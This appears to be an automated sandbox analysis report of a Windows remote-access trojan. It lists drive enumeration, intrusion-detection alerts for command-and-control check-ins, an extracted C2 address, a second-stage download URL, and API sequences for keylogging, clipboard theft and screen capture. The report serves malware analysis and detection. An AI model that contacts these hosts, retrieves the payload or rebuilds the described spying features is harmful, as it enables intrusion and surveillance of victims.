Source:	Binary string: \Release\Code_Shellcode.pdb,''GCTL source: leBwnyHIgx.exe, 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000005.00000002.4133424072.0000000000D90000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdbu source: powershell.exe, 0000000B.00000002.1806539404.0000000006E91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.1806539404.0000000006E4E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb0 source: powershell.exe, 0000000B.00000002.1810597919.0000000007F34000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.1810597919.0000000007F34000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb{/; source: powershell.exe, 0000000B.00000002.1806539404.0000000006E4E000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: e:	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: c:
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	File opened: [:	Jump to behavior

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0040C86C FindFirstFileW,FindClose,	0_2_0040C86C
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0040C2A0 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	0_2_0040C2A0
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00650754 FindFirstFileW,SetFileAttributesW,FindNextFileW,FindClose,	0_2_00650754
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0040C86C FindFirstFileW,FindClose,	5_2_0040C86C
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0040C2A0 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	5_2_0040C2A0
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00650754 FindFirstFileW,SetFileAttributesW,FindNextFileW,FindClose,	5_2_00650754

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_030780F0 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

5_2_030780F0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49740 -> 154.82.85.107:15091
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49741 -> 154.82.85.107:15091
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:50009 -> 154.82.85.107:15091

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 154.82.85.107:15091
Source: Malware configuration extractor	URLs: 154.82.85.107:15092

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 154.82.85.107 ports 18852,8853,15092,15091,3,5,8

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 154.82.85.107:8853

Source: Joe Sandbox View

ASN Name: ROOTNETWORKSUS ROOTNETWORKSUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2001046 - Severity 3 - ET MALWARE UPX compressed file download possible malware : 47.79.48.230:443 -> 192.168.2.4:49732

Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107
Source: unknown	TCP traffic detected without corresponding DNS query: 154.82.85.107

Source: C:\Users\user\Desktop\leBwnyHIgx.exe

Code function: 0_2_00421DFC VirtualAlloc,WSAStartup,socket,VirtualProtect,WriteProcessMemory,connect,recv,closesocket,

0_2_00421DFC

Source: global traffic

HTTP traffic detected: GET /wpsv.5.6.3.exe HTTP/1.1User-Agent: URLDownloaderHost: xrpy.oss-ap-southeast-1.aliyuncs.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: xrpy.oss-ap-southeast-1.aliyuncs.com

Source: wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: leBwnyHIgx.exe, 00000000.00000002.2078649644.0000000003906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m76u8s
Source: powershell.exe, 0000000B.00000002.1806539404.0000000006E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: powershell.exe, 00000003.00000002.1703418182.0000000002F17000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2029415416.000000000701B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000014.00000002.1996269596.0000000002971000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsof
Source: powershell.exe, 0000000B.00000002.1806539404.0000000006E55000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1780310479.00000000028CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: powershell.exe, 00000003.00000002.1706524566.0000000005C27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1762406995.0000000005F28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1795405452.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2023878360.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000013.00000002.2007422106.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2078434267.00000000032FC000.00000004.00000010.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2078434267.00000000032FC000.00000004.00000010.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 00000013.00000002.2028829277.0000000006FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.co
Source: powershell.exe, 00000003.00000002.1704205290.0000000004D16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.0000000005016000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.00000000054C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1781132282.00000000043C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.0000000004E55000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1704205290.0000000004BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.0000000004EC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1781132282.0000000004271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.0000000004871000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1998706833.00000000042E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1704205290.0000000004D16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.0000000005016000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.00000000054C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1781132282.00000000043C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.0000000004E55000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2078434267.00000000032FC000.00000004.00000010.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2078434267.00000000032FC000.00000004.00000010.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2078434267.00000000032FC000.00000004.00000010.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000013.00000002.2007422106.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: leBwnyHIgx.exe, leBwnyHIgx.exe.0.dr	String found in binary or memory: http://www.innosetup.com/
Source: leBwnyHIgx.exe, leBwnyHIgx.exe.0.dr	String found in binary or memory: http://www.remobjects.com/ps
Source: powershell.exe, 00000003.00000002.1704205290.0000000004BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.0000000004EC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1781132282.0000000004271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.0000000004871000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1998706833.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1998706833.00000000042BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBtq
Source: powershell.exe, 0000000B.00000002.1781132282.00000000043C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: leBwnyHIgx.exe, leBwnyHIgx.exe.0.dr	String found in binary or memory: https://code.visualstudio.com/0
Source: powershell.exe, 00000013.00000002.2023878360.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000013.00000002.2023878360.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000013.00000002.2023878360.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2078434267.00000000032FC000.00000004.00000010.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2078434267.00000000032FC000.00000004.00000010.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.00000000009AD000.00000004.00000020.00020000.00000000.sdmp, leBwnyHIgx.exe, 00000000.00000002.2078434267.00000000032FC000.00000004.00000010.00020000.00000000.sdmp, wpsv.5.6.3[1].exe.0.dr, wpsv.5.6.3.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: powershell.exe, 00000013.00000002.2007422106.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1704205290.0000000005311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.000000000581D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1749704314.00000000055F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2007422106.0000000004FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.1706524566.0000000005C27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1762406995.0000000005F28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1795405452.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2023878360.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.0000000000960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xrpy.oss-ap-southeast-1.aliyuncs.com/
Source: leBwnyHIgx.exe, 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exe
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.0000000000960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exeX
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.0000000000960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exec
Source: leBwnyHIgx.exe, 00000000.00000002.2077337213.0000000000960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://xrpy.oss-ap-southeast-1.aliyuncs.com/wpsv.5.6.3.exex

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

Source: unknown

HTTPS traffic detected: 47.79.48.230:443 -> 192.168.2.4:49732 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: [esc]	5_2_0307E850
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: [esc]	5_2_0307E850
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: [esc]	5_2_0307E850
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: [esc]	5_2_0307E850

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_0307E850 Sleep,CreateMutexW,GetLastError,_memset,Sleep,GetTickCount,GetTickCount,GetTickCount,InterlockedExchange,OpenClipboard,GetClipboardData,GlobalSize,GlobalLock,wsprintfW,_memset,GlobalUnlock,CloseClipboard,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,GetKeyState,lstrlenW,wsprintfW,lstrlenW,lstrlenW,wsprintfW,wsprintfW,wsprintfW,lstrlenW,WaitForSingleObject,CreateFileW,SetFilePointer,lstrlenW,WriteFile,CloseHandle,ReleaseMutex,

5_2_0307E850

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

5_2_0307E850

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_0307BC70 GetDesktopWindow,GetDC,GetDC,CreateCompatibleDC,GetDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,ReleaseDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateCompatibleBitmap,SelectObject,SetStretchBltMode,GetSystemMetrics,GetSystemMetrics,StretchBlt,_memset,GetDIBits,_memset,DeleteObject,DeleteObject,ReleaseDC,DeleteObject,DeleteObject,ReleaseDC,

5_2_0307BC70

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Code function: 5_2_0307E4F0 Sleep,CreateMutexW,GetLastError,SHGetFolderPathW,lstrcatW,CreateMutexW,WaitForSingleObject,CreateFileW,GetFileSize,CloseHandle,DeleteFileW,ReleaseMutex,DirectInput8Create,GetTickCount,GetKeyState,

5_2_0307E4F0

Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Jump to behavior

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00CD18A7 GetModuleHandleA,CreateWindowExW,SendMessageW,CreateThread,PostQuitMessage,NtdllDefWindowProc_W,		0_2_00CD18A7
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_00D918A7 GetModuleHandleA,CreateWindowExW,SendMessageW,CreateThread,PostQuitMessage,NtdllDefWindowProc_W,		5_2_00D918A7

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_005FA9A8 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	0_2_005FA9A8
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_005FA9A8 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	5_2_005FA9A8
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0307B41B ExitWindowsEx,	5_2_0307B41B
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0307B43F ExitWindowsEx,	5_2_0307B43F
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0307B463 ExitWindowsEx,	5_2_0307B463

Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0064F1DC	0_2_0064F1DC
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_0040AC84	0_2_0040AC84
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_10016721	0_2_10016721
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00CD0032	0_2_00CD0032
Source: C:\Users\user\Desktop\leBwnyHIgx.exe	Code function: 0_2_00CE66F8	0_2_00CE66F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04A0B490	3_2_04A0B490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_04A0B470	3_2_04A0B470
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0064F1DC	5_2_0064F1DC
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0040AC84	5_2_0040AC84
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_03076EE0	5_2_03076EE0
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_03076C50	5_2_03076C50
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0308E341	5_2_0308E341
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_03088381	5_2_03088381
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_030724B0	5_2_030724B0
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0308EA1D	5_2_0308EA1D
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_03078900	5_2_03078900
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0308F9FF	5_2_0308F9FF
Source: C:\Users\user\AppData\Roaming\leBwnyHIgx.exe	Code function: 5_2_0308D89F	5_2_0308D89F
